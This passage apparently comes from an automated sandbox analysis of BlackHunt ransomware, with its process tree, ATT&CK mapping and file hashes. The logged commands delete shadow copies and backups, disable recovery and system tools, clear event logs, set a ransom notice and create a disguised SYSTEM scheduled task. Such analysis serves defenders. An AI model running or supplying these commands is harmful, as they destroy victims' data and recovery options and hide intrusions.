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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:284
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2268
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2948
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2352
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2896
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2196
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2952
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1356
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1656
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2232
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2216
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2624
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2368
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2592
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:3048
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2588
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\BlackHunt2.exe" /F2⤵PID:2708
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\BlackHunt2.exe" /F3⤵
- Scheduled Task/Job: Scheduled Task
PID:2600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2876
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2532
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1896
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1836
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1320
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2388
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1792
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1124
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:776
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1924
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1668
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2652
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1908
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1732
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:660
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2736
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2580
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:1800
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2540
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2780
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:300
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:2928
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2944
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1324
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2040
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2212
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1488
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2820
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2156
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2432
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1012
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2352
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1684
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected] ,TELEGRAM:@GotchaDec] " /f2⤵PID:2012
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected] ,TELEGRAM:@GotchaDec] " /f3⤵PID:2808
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:220
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2160
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2740
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2568
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:1696
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:796
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:1740
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2676
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\BlackHunt2.exe"2⤵
- Deletes itself
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:776 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2232
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1076
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:1896
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1912
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2728
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2772
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4Clear Windows Event Logs
1File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1KB
MD5868458415e80d77143a5d7deed140fef
SHA1bd873b33c1ea3ef1c8fcaba583fd42e6bf0c6cb2
SHA2566f49a210dd80cdd7b9ddba7b078a4b2c7b3b40dbf6f75ec7048688d2e3124724
SHA512903b8d5eddf8fc6aaf7f2d163114c54c9b86fb957150abfb3beca44eef23dadc63990afa592b3f092f0235315c663c6e651a9800d7ff79e74699f7ab48dc50eb
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Filesize
12KB
MD5e309e86aa475bf9ab6d9ec368d40fe5a
SHA13db62b6572867604cd091a6c518c4458308d002e
SHA25639c0d064e4419607fa2a3b96691440bb9613e7cf28be9476dbe6c644f07a13d2
SHA5125d89c38896f51b2e05f3f0a209054cefe770823b929f4ed9c1275df9aaef58b44dae482a3483c295098423a0652672774797ab869dc67967b31af3dfdb151583
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Filesize
711B
MD588d5b995bf93732281a24ffa8c40ab5c
SHA1ed0d8cb268e450141673338e131ff2bd97f8b23c
SHA25669ffdd2db3a73f5a41ba2d4b25d27661112a80f2d403112b11f53454ad5fb5c1
SHA512ea7a88abc7583e6e50d08b8711fd93bf4d79137e68922c614c9e3ed47fdc0bfae113acd6693ffdbf24dd8c966e667ccee9bb3d958ef28fcbb4aceb9db3ef071e